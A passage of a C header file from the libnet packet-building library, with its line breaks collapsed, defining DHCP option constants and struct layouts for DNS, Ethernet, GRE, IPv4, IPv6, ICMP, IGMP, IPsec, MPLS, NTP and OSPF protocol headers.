0x12c #define LIBNET_DHCP_PAD 0x00 #define LIBNET_DHCP_SUBNETMASK 0x01 #define LIBNET_DHCP_TIMEOFFSET 0x02 #define LIBNET_DHCP_ROUTER 0x03 #define LIBNET_DHCP_TIMESERVER 0x04 #define LIBNET_DHCP_NAMESERVER 0x05 #define LIBNET_DHCP_DNS 0x06 #define LIBNET_DHCP_LOGSERV 0x07 #define LIBNET_DHCP_COOKIESERV 0x08 #define LIBNET_DHCP_LPRSERV 0x09 #define LIBNET_DHCP_IMPSERV 0x0a #define LIBNET_DHCP_RESSERV 0x0b #define LIBNET_DHCP_HOSTNAME 0x0c #define LIBNET_DHCP_BOOTFILESIZE 0x0d #define LIBNET_DHCP_DUMPFILE 0x0e #define LIBNET_DHCP_DOMAINNAME 0x0f #define LIBNET_DHCP_SWAPSERV 0x10 #define LIBNET_DHCP_ROOTPATH 0x11 #define LIBNET_DHCP_EXTENPATH 0x12 #define LIBNET_DHCP_IPFORWARD 0x13 #define LIBNET_DHCP_SRCROUTE 0x14 #define LIBNET_DHCP_POLICYFILTER 0x15 #define LIBNET_DHCP_MAXASMSIZE 0x16 #define LIBNET_DHCP_IPTTL 0x17 #define LIBNET_DHCP_MTUTIMEOUT 0x18 #define LIBNET_DHCP_MTUTABLE 0x19 #define LIBNET_DHCP_MTUSIZE 0x1a #define LIBNET_DHCP_LOCALSUBNETS 0x1b #define LIBNET_DHCP_BROADCASTADDR 0x1c #define LIBNET_DHCP_DOMASKDISCOV 0x1d #define LIBNET_DHCP_MASKSUPPLY 0x1e #define LIBNET_DHCP_DOROUTEDISC 0x1f #define LIBNET_DHCP_ROUTERSOLICIT 0x20 #define LIBNET_DHCP_STATICROUTE 0x21 #define LIBNET_DHCP_TRAILERENCAP 0x22 #define LIBNET_DHCP_ARPTIMEOUT 0x23 #define LIBNET_DHCP_ETHERENCAP 0x24 #define LIBNET_DHCP_TCPTTL 0x25 #define LIBNET_DHCP_TCPKEEPALIVE 0x26 #define LIBNET_DHCP_TCPALIVEGARBAGE 0x27 #define LIBNET_DHCP_NISDOMAIN 0x28 #define LIBNET_DHCP_NISSERVERS 0x29 #define LIBNET_DHCP_NISTIMESERV 0x2a #define LIBNET_DHCP_VENDSPECIFIC 0x2b #define LIBNET_DHCP_NBNS 0x2c #define LIBNET_DHCP_NBDD 0x2d #define LIBNET_DHCP_NBTCPIP 0x2e #define LIBNET_DHCP_NBTCPSCOPE 0x2f #define LIBNET_DHCP_XFONT 0x30 #define LIBNET_DHCP_XDISPLAYMGR 0x31 #define LIBNET_DHCP_DISCOVERADDR 0x32 #define LIBNET_DHCP_LEASETIME 0x33 #define LIBNET_DHCP_OPTIONOVERLOAD 0x34 #define LIBNET_DHCP_MESSAGETYPE 0x35 #define LIBNET_DHCP_SERVIDENT 0x36 #define LIBNET_DHCP_PARAMREQUEST 0x37 #define LIBNET_DHCP_MESSAGE 0x38 #define LIBNET_DHCP_MAXMSGSIZE 0x39 #define LIBNET_DHCP_RENEWTIME 0x3a #define LIBNET_DHCP_REBINDTIME 0x3b #define LIBNET_DHCP_CLASSSID 0x3c #define LIBNET_DHCP_CLIENTID 0x3d #define LIBNET_DHCP_NISPLUSDOMAIN 0x40 #define LIBNET_DHCP_NISPLUSSERVERS 0x41 #define LIBNET_DHCP_MOBILEIPAGENT 0x44 #define LIBNET_DHCP_SMTPSERVER 0x45 #define LIBNET_DHCP_POP3SERVER 0x46 #define LIBNET_DHCP_NNTPSERVER 0x47 #define LIBNET_DHCP_WWWSERVER 0x48 #define LIBNET_DHCP_FINGERSERVER 0x49 #define LIBNET_DHCP_IRCSERVER 0x4a #define LIBNET_DHCP_STSERVER 0x4b #define LIBNET_DHCP_STDASERVER 0x4c #define LIBNET_DHCP_END 0xff #define LIBNET_DHCP_MSGDISCOVER 0x01 #define LIBNET_DHCP_MSGOFFER 0x02 #define LIBNET_DHCP_MSGREQUEST 0x03 #define LIBNET_DHCP_MSGDECLINE 0x04 #define LIBNET_DHCP_MSGACK 0x05 #define LIBNET_DHCP_MSGNACK 0x06 #define LIBNET_DHCP_MSGRELEASE 0x07 #define LIBNET_DHCP_MSGINFORM 0x08 }; /* this little guy got left out in the cold */ #define LIBNET_DNS_H LIBNET_UDP_DNSV4_H /* * Base DNSv4 header * Domain Name System * Base header size: 12/14 bytes */ struct libnet_dnsv4_hdr { uint16_t h_len; /* length of the packet - only used with TCP */ uint16_t id; /* DNS packet ID */ uint16_t flags; /* DNS flags */ uint16_t num_q; /* Number of questions */ uint16_t num_answ_rr; /* Number of answer resource records */ uint16_t num_auth_rr; /* Number of authority resource records */ uint16_t num_addi_rr; /* Number of additional resource records */ }; #define LIBNET_DNS_H LIBNET_UDP_DNSV4_H struct libnet_dnsv4udp_hdr { uint16_t id; /* DNS packet ID */ uint16_t flags; /* DNS flags */ uint16_t num_q; /* Number of questions */ uint16_t num_answ_rr; /* Number of answer resource records */ uint16_t num_auth_rr; /* Number of authority resource records */ uint16_t num_addi_rr; /* Number of additional resource records */ }; /* * Ethernet II header * Static header size: 14 bytes */ struct libnet_ethernet_hdr { uint8_t ether_dhost[ETHER_ADDR_LEN];/* destination ethernet address */ uint8_t ether_shost[ETHER_ADDR_LEN];/* source ethernet address */ uint16_t ether_type; /* protocol */ }; #ifndef ETHERTYPE_PUP #define ETHERTYPE_PUP 0x0200 /* PUP protocol */ #endif #ifndef ETHERTYPE_IP #define ETHERTYPE_IP 0x0800 /* IP protocol */ #endif #ifndef ETHERTYPE_IPV6 #define ETHERTYPE_IPV6 0x86dd /* IPv6 protocol */ #endif #ifndef ETHERTYPE_ARP #define ETHERTYPE_ARP 0x0806 /* addr. resolution protocol */ #endif #ifndef ETHERTYPE_REVARP #define ETHERTYPE_REVARP 0x8035 /* reverse addr. resolution protocol */ #endif #ifndef ETHERTYPE_VLAN #define ETHERTYPE_VLAN 0x8100 /* IEEE 802.1Q VLAN tagging */ #endif #ifndef ETHERTYPE_EAP #define ETHERTYPE_EAP 0x888e /* IEEE 802.1X EAP authentication */ #endif #ifndef ETHERTYPE_MPLS #define ETHERTYPE_MPLS 0x8847 /* MPLS */ #endif #ifndef ETHERTYPE_LOOPBACK #define ETHERTYPE_LOOPBACK 0x9000 /* used to test interfaces */ #endif struct libnet_ether_addr { uint8_t ether_addr_octet[6]; /* Ethernet address */ }; /* * Fiber Distributed Data Interface header * * Static header size: 21 bytes (LLC and 48-bit address addr only) * * Note: Organization field is 3 bytes which throws off the * alignment of type. Therefore fddi_type (19 bytes in) * is specified as two uint8_ts. */ struct libnet_fddi_hdr { uint8_t fddi_frame_control; /* Class/Format/Priority */ #define LIBNET_FDDI_LLC_FRAME 0x10 #define LIBNET_FDDI_48BIT_ADDR 0x40 #define LIBNET_FDDI_FC_REQD LIBNET_FDDI_LLC_FRAME | LIBNET_FDDI_48BIT_ADDR uint8_t fddi_dhost[FDDI_ADDR_LEN]; /* destination fddi address */ uint8_t fddi_shost[FDDI_ADDR_LEN]; /* source fddi address */ uint8_t fddi_llc_dsap; /* DSAP */ uint8_t fddi_llc_ssap; /* SSAP */ uint8_t fddi_llc_control_field; /* Class/Format/Priority */ uint8_t fddi_llc_org_code[LIBNET_ORG_CODE_SIZE]; /* Organization Code 3-bytes */ uint8_t fddi_type; /* Protocol Type */ uint8_t fddi_type1; /* see note above. */ #define FDDI_TYPE_IP 0x0800 /* IP protocol */ #define FDDI_TYPE_ARP 0x0806 /* addr. resolution protocol */ #define FDDI_TYPE_REVARP 0x8035 /* reverse addr. resolution protocol */ }; struct libnet_fddi_addr { uint8_t fddi_addr_octet[6]; /* FDDI address */ }; /* * GRE header - RFC 1701 & 2637 * Generic Routing Encapsulation (GRE) * Base header size: 4 bytes */ struct libnet_gre_hdr { uint16_t flags_ver; #define GRE_CSUM 0x8000 #define GRE_ROUTING 0x4000 #define GRE_KEY 0x2000 #define GRE_SEQ 0x1000 #define GRE_STRICT 0x0800 #define GRE_REC 0x0700 #define GRE_ACK 0x0080 #define GRE_FLAGS_MASK 0x00F8 #define GRE_VERSION_MASK 0x0007 #define GRE_VERSION_0 0x0000 #define GRE_VERSION_1 0x0001 uint16_t type; #define GRE_SNA 0x0004 #define GRE_OSI_NETWORK_LAYER 0x00FE #define GRE_PUP 0x0200 #define GRE_XNS 0x0600 #define GRE_IP 0x0800 #define GRE_CHAOS 0x0804 #define GRE_RFC_826_ARP 0x0806 #define GRE_FRAME_RELAY_ARP 0x0808 #define GRE_VINES 0x0BAD #define GRE_VINES_ECHO 0x0BAE #define GRE_VINES_LOOPBACK 0x0BAF #define GRE_DECNET 0x6003 #define GRE_TRANSPARENT_ETHERNET_BRIDGING 0x6558 #define GRE_RAW_FRAME_RELAY 0x6559 #define GRE_APOLLO_DOMAIN 0x8019 #define GRE_ETHERTALK 0x809B #define GRE_NOVELL_IPX 0x8137 #define GRE_RFC_1144_TCP_IP_COMPRESSION 0x876B #define GRE_IP_AUTONOMOUS_SYSTEMS 0x876C #define GRE_SECURE_DATA 0x876D #define GRE_PPP 0x880b /* taken from RFC 2637 */ union { struct { uint16_t sum; /* optional */ uint16_t offset; /* optional */ uint32_t key; /* optional */ uint32_t seq; /* optional */ } _gre; struct { uint16_t payload_s; /* optional */ uint16_t callID; /* optional */ uint32_t seq; /* optional */ uint32_t ack; /* optional */ } _egre; }_data; #define gre_sum _data._gre.sum #define gre_offset _data._gre.offset #define gre_key _data._gre.key #define gre_seq _data._gre.seq #define egre_payload_s _data._egre.payload_s #define egre_callID _data._egre.callID #define egre_seq _data._egre.seq #define egre_ack _data._egre.ack }; #ifndef IPPROTO_GRE #define IPPROTO_GRE 47 #endif /* * Source Route Entries (SRE) * This is used for GRE as the Routing field is a list of SREs - RFC 1701 * Base header size: 4 bytes */ struct libnet_gre_sre_hdr { uint16_t af; /* address familly */ uint8_t sre_offset; uint8_t sre_length; uint8_t *routing; }; /* * IPv4 header * Internet Protocol, version 4 * Static header size: 20 bytes */ struct libnet_ipv4_hdr { #if (LIBNET_LIL_ENDIAN) uint8_t ip_hl:4, /* header length */ ip_v:4; /* version */ #endif #if (LIBNET_BIG_ENDIAN) uint8_t ip_v:4, /* version */ ip_hl:4; /* header length */ #endif uint8_t ip_tos; /* type of service */ #ifndef IPTOS_LOWDELAY #define IPTOS_LOWDELAY 0x10 #endif #ifndef IPTOS_THROUGHPUT #define IPTOS_THROUGHPUT 0x08 #endif #ifndef IPTOS_RELIABILITY #define IPTOS_RELIABILITY 0x04 #endif #ifndef IPTOS_LOWCOST #define IPTOS_LOWCOST 0x02 #endif uint16_t ip_len; /* total length */ uint16_t ip_id; /* identification */ uint16_t ip_off; #ifndef IP_RF #define IP_RF 0x8000 /* reserved fragment flag */ #endif #ifndef IP_DF #define IP_DF 0x4000 /* dont fragment flag */ #endif #ifndef IP_MF #define IP_MF 0x2000 /* more fragments flag */ #endif #ifndef IP_OFFMASK #define IP_OFFMASK 0x1fff /* mask for fragmenting bits */ #endif uint8_t ip_ttl; /* time to live */ uint8_t ip_p; /* protocol */ uint16_t ip_sum; /* checksum */ struct in_addr ip_src, ip_dst; /* source and dest address */ }; /* * IP options */ #ifndef IPOPT_EOL #define IPOPT_EOL 0 /* end of option list */ #endif #ifndef IPOPT_NOP #define IPOPT_NOP 1 /* no operation */ #endif #ifndef IPOPT_RR #define IPOPT_RR 7 /* record packet route */ #endif #ifndef IPOPT_TS #define IPOPT_TS 68 /* timestamp */ #endif #ifndef IPOPT_SECURITY #define IPOPT_SECURITY 130 /* provide s,c,h,tcc */ #endif #ifndef IPOPT_LSRR #define IPOPT_LSRR 131 /* loose source route */ #endif #ifndef IPOPT_SATID #define IPOPT_SATID 136 /* satnet id */ #endif #ifndef IPOPT_SSRR #define IPOPT_SSRR 137 /* strict source route */ #endif /* * IPv6 address */ struct libnet_in6_addr { union { uint8_t __u6_addr8[16]; uint16_t __u6_addr16[8]; uint32_t __u6_addr32[4]; } __u6_addr; /* 128-bit IP6 address */ }; #define libnet_s6_addr __u6_addr.__u6_addr8 /* * IPv6 header * Internet Protocol, version 6 * Static header size: 40 bytes */ struct libnet_ipv6_hdr { uint8_t ip_flags[4]; /* version, traffic class, flow label */ uint16_t ip_len; /* total length */ uint8_t ip_nh; /* next header */ uint8_t ip_hl; /* hop limit */ struct libnet_in6_addr ip_src, ip_dst; /* source and dest address */ }; /* * IPv6 frag header * Internet Protocol, version 6 * Static header size: 8 bytes */ #define LIBNET_IPV6_NH_FRAGMENT 44 struct libnet_ipv6_frag_hdr { uint8_t ip_nh; /* next header */ uint8_t ip_reserved; /* reserved */ uint16_t ip_frag; /* fragmentation stuff */ uint32_t ip_id; /* id */ }; /* * IPv6 routing header * Internet Protocol, version 6 * Base header size: 4 bytes */ #define LIBNET_IPV6_NH_ROUTING 43 struct libnet_ipv6_routing_hdr { uint8_t ip_nh; /* next header */ uint8_t ip_len; /* length of header in 8 octet units (sans 1st) */ uint8_t ip_rtype; /* routing type */ uint8_t ip_segments; /* segments left */ /* routing information allocated dynamically */ }; /* * IPv6 destination options header * Internet Protocol, version 6 * Base header size: 2 bytes */ #define LIBNET_IPV6_NH_DESTOPTS 60 struct libnet_ipv6_destopts_hdr { uint8_t ip_nh; /* next header */ uint8_t ip_len; /* length of header in 8 octet units (sans 1st) */ /* destination options information allocated dynamically */ }; /* * IPv6 hop by hop options header * Internet Protocol, version 6 * Base header size: 2 bytes */ #define LIBNET_IPV6_NH_HBH 0 struct libnet_ipv6_hbhopts_hdr { uint8_t ip_nh; /* next header */ uint8_t ip_len; /* length of header in 8 octet units (sans 1st) */ /* destination options information allocated dynamically */ }; /* * ICMP6 header * Internet Control Message Protocol v6 * Base header size: 4 bytes */ #ifndef IPPROTO_ICMPV6 #define IPPROTO_ICMPV6 58 #endif struct libnet_icmpv6_hdr { uint8_t icmp_type; /* ICMP type */ /* Don't define if has defined them. */ #ifndef ICMP6_ECHO_REQUEST #define ICMP6_ECHO_REQUEST 128 #endif #ifndef ICMP6_ECHO_REPLY #define ICMP6_ECHO_REPLY 129 #endif #ifndef ICMP6_DST_UNREACH #define ICMP6_DST_UNREACH 1 #endif #ifndef ICMP6_PACKET_TOO_BIG #define ICMP6_PACKET_TOO_BIG 2 #endif #ifndef ICMP6_TIME_EXCEEDED #define ICMP6_TIME_EXCEEDED 3 #endif #ifndef ICMP6_PARAM_PROB #define ICMP6_PARAM_PROB 4 #endif #ifndef ND_ROUTER_SOLICIT #define ND_ROUTER_SOLICIT 133 #endif #ifndef ND_ROUTER_ADVERT #define ND_ROUTER_ADVERT 134 #endif #ifndef ND_NEIGHBOR_SOLICIT #define ND_NEIGHBOR_SOLICIT 135 #endif #ifndef ND_NEIGHBOR_ADVERT #define ND_NEIGHBOR_ADVERT 136 #endif uint8_t icmp_code; /* ICMP code */ #ifndef ICMP6_DST_UNREACH_NOROUTE #define ICMP6_DST_UNREACH_NOROUTE 0 #endif #ifndef ICMP6_DST_UNREACH_ADMIN #define ICMP6_DST_UNREACH_ADMIN 1 #endif #ifndef ICMP6_DST_UNREACH_BEYONDSCOPE #define ICMP6_DST_UNREACH_BEYONDSCOPE 2 #endif #ifndef ICMP6_DST_UNREACH_ADDR #define ICMP6_DST_UNREACH_ADDR 3 #endif #ifndef ICMP6_DST_UNREACH_NOPORT #define ICMP6_DST_UNREACH_NOPORT 4 #endif uint16_t icmp_sum; /* ICMP Checksum */ /* This is confusing: id/seq are used only for echo req/reply, but must * exist in struct for backwards compatibility. */ uint16_t id; /* ICMP id (unused, for backwards compatibility) */ uint16_t seq; /* ICMP sequence number (unused, for backwards compatibility) */ /* Non-standard names, for libnet backwards compatibility, don't use. */ /* ipproto: */ #define IPPROTO_ICMP6 58 /* types: */ #define ICMP6_ECHO 128 #define ICMP6_ECHOREPLY 129 #define ICMP6_UNREACH 1 #define ICMP6_PKTTOOBIG 2 #define ICMP6_TIMXCEED 3 #define ICMP6_PARAMPROB 4 /* codes: */ #define ICMP6_NOROUTE 0 #define ICMP6_ADM_PROHIBITED 1 #define ICMP6_NOT_NEIGHBOUR 2 #define ICMP6_ADDR_UNREACH 3 #define ICMP6_PORT_UNREACH 4 }; /* All of this stuff follows base ICMPv6 header */ struct libnet_icmpv6_unreach { uint32_t unused; }; struct libnet_icmpv6_echo { uint16_t id; uint16_t seq; }; struct libnet_icmpv6_ndp_nsol { uint32_t reserved; struct libnet_in6_addr target_addr; }; struct libnet_icmpv6_ndp_nadv { uint32_t flags; #ifndef ND_NA_FLAG_ROUTER #define ND_NA_FLAG_ROUTER 0x80000000 #endif #ifndef ND_NA_FLAG_SOLICITED #define ND_NA_FLAG_SOLICITED 0x40000000 #endif #ifndef ND_NA_FLAG_OVERRIDE #define ND_NA_FLAG_OVERRIDE 0x20000000 #endif struct libnet_in6_addr target_addr; }; struct libnet_icmpv6_ndp_opt { uint8_t type; #ifndef ND_OPT_SOURCE_LINKADDR #define ND_OPT_SOURCE_LINKADDR 1 #endif #ifndef ND_OPT_TARGET_LINKADDR #define ND_OPT_TARGET_LINKADDR 2 #endif #ifndef ND_OPT_PREFIX_INFORMATION #define ND_OPT_PREFIX_INFORMATION 3 #endif #ifndef ND_OPT_REDIRECTED_HEADER #define ND_OPT_REDIRECTED_HEADER 4 #endif #ifndef ND_OPT_MTU #define ND_OPT_MTU 5 #endif #ifndef ND_OPT_RTR_ADV_INTERVAL #define ND_OPT_RTR_ADV_INTERVAL 7 #endif #ifndef ND_OPT_HOME_AGENT_INFO #define ND_OPT_HOME_AGENT_INFO 8 #endif uint8_t len; }; /* * ICMP header * Internet Control Message Protocol * Base header size: 4 bytes */ struct libnet_icmpv4_hdr { uint8_t icmp_type; /* ICMP type */ #ifndef ICMP_ECHOREPLY #define ICMP_ECHOREPLY 0 #endif #ifndef ICMP_UNREACH #define ICMP_UNREACH 3 #endif #ifndef ICMP_SOURCEQUENCH #define ICMP_SOURCEQUENCH 4 #endif #ifndef ICMP_REDIRECT #define ICMP_REDIRECT 5 #endif #ifndef ICMP_ECHO #define ICMP_ECHO 8 #endif #ifndef ICMP_ROUTERADVERT #define ICMP_ROUTERADVERT 9 #endif #ifndef ICMP_ROUTERSOLICIT #define ICMP_ROUTERSOLICIT 10 #endif #ifndef ICMP_TIMXCEED #define ICMP_TIMXCEED 11 #endif #ifndef ICMP_PARAMPROB #define ICMP_PARAMPROB 12 #endif #ifndef ICMP_TSTAMP #define ICMP_TSTAMP 13 #endif #ifndef ICMP_TSTAMPREPLY #define ICMP_TSTAMPREPLY 14 #endif #ifndef ICMP_IREQ #define ICMP_IREQ 15 #endif #ifndef ICMP_IREQREPLY #define ICMP_IREQREPLY 16 #endif #ifndef ICMP_MASKREQ #define ICMP_MASKREQ 17 #endif #ifndef ICMP_MASKREPLY #define ICMP_MASKREPLY 18 #endif uint8_t icmp_code; /* ICMP code */ #ifndef ICMP_UNREACH_NET #define ICMP_UNREACH_NET 0 #endif #ifndef ICMP_UNREACH_HOST #define ICMP_UNREACH_HOST 1 #endif #ifndef ICMP_UNREACH_PROTOCOL #define ICMP_UNREACH_PROTOCOL 2 #endif #ifndef ICMP_UNREACH_PORT #define ICMP_UNREACH_PORT 3 #endif #ifndef ICMP_UNREACH_NEEDFRAG #define ICMP_UNREACH_NEEDFRAG 4 #endif #ifndef ICMP_UNREACH_SRCFAIL #define ICMP_UNREACH_SRCFAIL 5 #endif #ifndef ICMP_UNREACH_NET_UNKNOWN #define ICMP_UNREACH_NET_UNKNOWN 6 #endif #ifndef ICMP_UNREACH_HOST_UNKNOWN #define ICMP_UNREACH_HOST_UNKNOWN 7 #endif #ifndef ICMP_UNREACH_ISOLATED #define ICMP_UNREACH_ISOLATED 8 #endif #ifndef ICMP_UNREACH_NET_PROHIB #define ICMP_UNREACH_NET_PROHIB 9 #endif #ifndef ICMP_UNREACH_HOST_PROHIB #define ICMP_UNREACH_HOST_PROHIB 10 #endif #ifndef ICMP_UNREACH_TOSNET #define ICMP_UNREACH_TOSNET 11 #endif #ifndef ICMP_UNREACH_TOSHOST #define ICMP_UNREACH_TOSHOST 12 #endif #ifndef ICMP_UNREACH_FILTER_PROHIB #define ICMP_UNREACH_FILTER_PROHIB 13 #endif #ifndef ICMP_UNREACH_HOST_PRECEDENCE #define ICMP_UNREACH_HOST_PRECEDENCE 14 #endif #ifndef ICMP_UNREACH_PRECEDENCE_CUTOFF #define ICMP_UNREACH_PRECEDENCE_CUTOFF 15 #endif #ifndef ICMP_REDIRECT_NET #define ICMP_REDIRECT_NET 0 #endif #ifndef ICMP_REDIRECT_HOST #define ICMP_REDIRECT_HOST 1 #endif #ifndef ICMP_REDIRECT_TOSNET #define ICMP_REDIRECT_TOSNET 2 #endif #ifndef ICMP_REDIRECT_TOSHOST #define ICMP_REDIRECT_TOSHOST 3 #endif #ifndef ICMP_TIMXCEED_INTRANS #define ICMP_TIMXCEED_INTRANS 0 #endif #ifndef ICMP_TIMXCEED_REASS #define ICMP_TIMXCEED_REASS 1 #endif #ifndef ICMP_PARAMPROB_OPTABSENT #define ICMP_PARAMPROB_OPTABSENT 1 #endif uint16_t icmp_sum; /* ICMP Checksum */ union { struct { uint16_t id; /* ICMP id */ uint16_t seq;/* ICMP sequence number */ } echo; /* TODO this hack conflicts with the system headers, which is why we * undef what they do, and it also damages dnet/dumbnet's headers if * they are included after ours. Fixing will break API, though, so * we leave it for now. */ #undef icmp_id #undef icmp_seq #define icmp_id hun.echo.id #define icmp_seq hun.echo.seq uint32_t gateway; /* gateway host */ struct { uint16_t pad;/* padding */ uint16_t mtu;/* MTU size */ } frag; } hun; union { struct { uint32_t its_otime; uint32_t its_rtime; uint32_t its_ttime; } ts; struct { struct libnet_ipv4_hdr idi_ip; /* options and then 64 bits of data */ } ip; uint32_t mask; int8_t data[1]; #undef icmp_mask #define icmp_mask dun.mask #undef icmp_data #define icmp_data dun.data #undef icmp_otime #define icmp_otime dun.ts.its_otime #undef icmp_rtime #define icmp_rtime dun.ts.its_rtime #undef icmp_ttime #define icmp_ttime dun.ts.its_ttime }dun; }; /* * IGMP header * Internet Group Message Protocol * Static header size: 8 bytes */ struct libnet_igmp_hdr { uint8_t igmp_type; /* IGMP type */ #ifndef IGMP_MEMBERSHIP_QUERY #define IGMP_MEMBERSHIP_QUERY 0x11 /* membership query */ #endif #ifndef IGMP_V1_MEMBERSHIP_REPORT #define IGMP_V1_MEMBERSHIP_REPORT 0x12 /* Ver. 1 membership report */ #endif #ifndef IGMP_V2_MEMBERSHIP_REPORT #define IGMP_V2_MEMBERSHIP_REPORT 0x16 /* Ver. 2 membership report */ #endif #ifndef IGMP_LEAVE_GROUP #define IGMP_LEAVE_GROUP 0x17 /* Leave-group message */ #endif uint8_t igmp_code; /* IGMP reserved field (0), mistakenly called 'code' in early libnet versions */ uint16_t igmp_sum; /* IGMP checksum */ struct in_addr igmp_group;/* IGMP host IP */ }; /* * IPSEC header * Internet Protocol Security Protocol * Encapsulating Security Payload Header Static header size: 12 bytes * Encapsulating Security Payload Footer Base header size: 2 bytes * Authentication Header Static Size: 16 bytes */ #ifndef IPPROTO_ESP #define IPPROTO_ESP 50 /* not everyone's got this */ #endif struct libnet_esp_hdr { uint32_t esp_spi; /* security parameter index */ uint32_t esp_seq; /* ESP sequence number */ uint32_t esp_iv; /* initialization vector */ }; struct libnet_esp_ftr { uint8_t esp_pad_len; /* padding length */ uint8_t esp_nh; /* next header pointer */ int8_t *esp_auth; /* authentication data */ }; #ifndef IPPROTO_AH #define IPPROTO_AH 51 /* not everyone's got this */ #endif struct libnet_ah_hdr { uint8_t ah_nh; /* next header */ uint8_t ah_len; /* payload length */ uint16_t ah_res; /* reserved */ uint32_t ah_spi; /* security parameter index */ uint32_t ah_seq; /* AH sequence number */ uint32_t ah_auth; /* authentication data */ }; /* * For checksum stuff -- IANA says 135-254 is "unassigned" as of 12.2001. * Let's hope this one stays that way for a while! */ #define LIBNET_PROTO_ISL 201 /* * ISL header * Cisco Inter-Switch Link * Static header size: 26 bytes */ struct libnet_isl_hdr { uint8_t isl_dhost[5]; /* destination address "01:00:0c:00:00" */ #if (LIBNET_LIL_ENDIAN) uint8_t isl_type:4, /* type of frame */ isl_user:4; /* user defined bits */ #endif #if (LIBNET_BIG_ENDIAN) uint8_t isl_user:4, /* user defined bits */ isl_type:4; /* type of frame */ #endif uint8_t isl_shost[6]; /* source address */ uint16_t isl_len; /* total length of packet - 18 bytes */ uint8_t isl_snap[6]; /* 0xaaaa03 + vendor code */ uint16_t isl_vid; /* 15 bit VLAN ID, 1 bit BPDU / CDP indicator */ uint16_t isl_index; /* port index */ uint16_t isl_reserved; /* used for FDDI and token ring */ /* ethernet frame and 4 byte isl crc */ }; #ifndef IPPROTO_OSPF #define IPPROTO_OSPF 89 /* not everyone's got this */ #endif #define IPPROTO_OSPF_LSA 890 /* made this up. Hope it's unused */ #define LIBNET_MODX 4102 /* used in LSA checksum */ /* * Options used in multiple OSPF packets * More info can be found in section A.2 of RFC 2328. */ #define LIBNET_OPT_EBIT 0x02 /* describes the way AS-external-LSAs are flooded */ #define LIBNET_OPT_MCBIT 0x04 /* whether or not IP multicast dgrams are fwdd */ #define LIBNET_OPT_NPBIT 0x08 /* describes handling of type-7 LSAs */ #define LIBNET_OPT_EABIT 0x10 /* rtr's willingness to send/recv EA-LSAs */ #define LIBNET_OPT_DCBIT 0x20 /* describes handling of demand circuits */ /* * MPLS header * Multi-Protocol Label Switching * Static header size: 4 bytes */ struct libnet_mpls_hdr { uint32_t mpls_les; /* 20 bits label, 3 bits exp, 1 bit bos, ttl */ #define LIBNET_MPLS_BOS_ON 1 #define LIBNET_MPLS_BOS_OFF 0 }; /* * NTP header * Network Time Protocol * Static header size: 48 bytes */ struct libnet_ntp_hdr_l_fp /* int32_t floating point (64-bit) */ { uint32_t integer; /* integer */ uint32_t fraction; /* fraction */ }; struct libnet_ntp_hdr_s_fp /* int16_t floating point (32-bit) */ { uint16_t integer; /* integer */ uint16_t fraction; /* fraction */ }; struct libnet_ntp_hdr { uint8_t ntp_li_vn_mode; /* leap indicator, version, mode */ #define LIBNET_NTP_LI_NW 0x0 /* no warning */ #define LIBNET_NTP_LI_AS 0x1 /* last minute has 61 seconds */ #define LIBNET_NTP_LI_DS 0x2 /* last minute has 59 seconds */ #define LIBNET_NTP_LI_AC 0x3 /* alarm condition */ #define LIBNET_NTP_VN_2 0x2 /* version 2 */ #define LIBNET_NTP_VN_3 0x3 /* version 3 */ #define LIBNET_NTP_VN_4 0x4 /* version 4 */ #define LIBNET_NTP_MODE_R 0x0 /* reserved */ #define LIBNET_NTP_MODE_A 0x1 /* symmetric active */ #define LIBNET_NTP_MODE_P 0x2 /* symmetric passive */ #define LIBNET_NTP_MODE_C 0x3 /* client */ #define LIBNET_NTP_MODE_S 0x4 /* server */ #define LIBNET_NTP_MODE_B 0x5 /* broadcast */ #define LIBNET_NTP_MODE_RC 0x6 /* reserved for NTP control message */ #define LIBNET_NTP_MODE_RP 0x7 /* reserved for private use */ uint8_t ntp_stratum; /* stratum */ #define LIBNET_NTP_STRATUM_UNAVAIL 0x0 /* unspecified or unavailable */ #define LIBNET_NTP_STRATUM_PRIMARY 0x1 /* primary reference (radio clock) */ /* 2 - 15 is secondary */ /* 16 - 255 is reserved */ uint8_t ntp_poll; /* poll interval (should be 4 - 12) */ uint8_t ntp_precision; /* local clock precision */ struct libnet_ntp_hdr_s_fp ntp_delay; /* roundtrip delay */ struct libnet_ntp_hdr_s_fp ntp_dispersion; /* nominal error */ uint32_t ntp_reference_id; /* reference source id */ #define LIBNET_NTP_REF_LOCAL 0x4c4f434c /* uncalibrated local clock */ #define LIBNET_NTP_REF_PPS 0x50505300 /* atomic / pulse-per-second clock */ #define LIBNET_NTP_REF_ACTS 0x41435453 /* NIST dialup modem */ #define LIBNET_NTP_REF_USNO 0x55534e4f /* USNO modem service */ #define LIBNET_NTP_REF_PTB 0x50544200 /* PTB (German) modem service */ #define LIBNET_NTP_REF_TDF 0x54444600 /* Allouis (French) radio */ #define LIBNET_NTP_REF_DCF 0x44434600 /* Mainflingen (German) radio */ #define LIBNET_NTP_REF_MSF 0x4d534600 /* Rugby (UK) radio */ #define LIBNET_NTP_REF_WWV 0x57575600 /* Ft Collins (US) radio */ #define LIBNET_NTP_REF_WWVB 0x57575642 /* Boulder (US) radio */ #define LIBNET_NTP_REF_WWVH 0x57575648 /* Kaui Hawaii (US) radio */ #define LIBNET_NTP_REF_CHU 0x43485500 /* Ottaha (Canada) radio */ #define LIBNET_NTP_REF_LORC 0x4c4f5243 /* LORAN-C radionavigation */ #define LIBNET_NTP_REF_OMEG 0x4f4d4547 /* OMEGA radionavigation */ #define LIBNET_NTP_REF_GPS 0x47505300 /* global positioning system */ #define LIBNET_NTP_REF_GOES 0x474f4553 /* geostationary orbit env satellite */ struct libnet_ntp_hdr_l_fp ntp_ref_ts; /* reference timestamp */ struct libnet_ntp_hdr_l_fp ntp_orig_ts; /* originate timestamp */ struct libnet_ntp_hdr_l_fp ntp_rec_ts; /* receive timestamp */ struct libnet_ntp_hdr_l_fp ntp_xmt_ts; /* transmit timestamp */ }; /* * OSPFv2 header * Open Shortest Path First * Static header size: 16 bytes */ struct libnet_ospf_hdr { uint8_t ospf_v; /* version */ #define OSPFVERSION 2 uint8_t ospf_type; /* type */ #define LIBNET_OSPF_UMD 0 /* UMd monitoring packet */ #define LIBNET_OSPF_HELLO 1 /* HELLO packet */ #define LIBNET_OSPF_DBD 2 /* dataBase description packet */ #define LIBNET_OSPF_LSR 3 /* link state request packet */ #define LIBNET_OSPF_LSU 4 /* link state Update Packet */ #define LIBNET_OSPF_LSA 5 /* link state acknowledgement packet */ uint16_t ospf_len; /* length */ struct in_addr ospf_rtr_id; /* source router ID */ struct in_addr 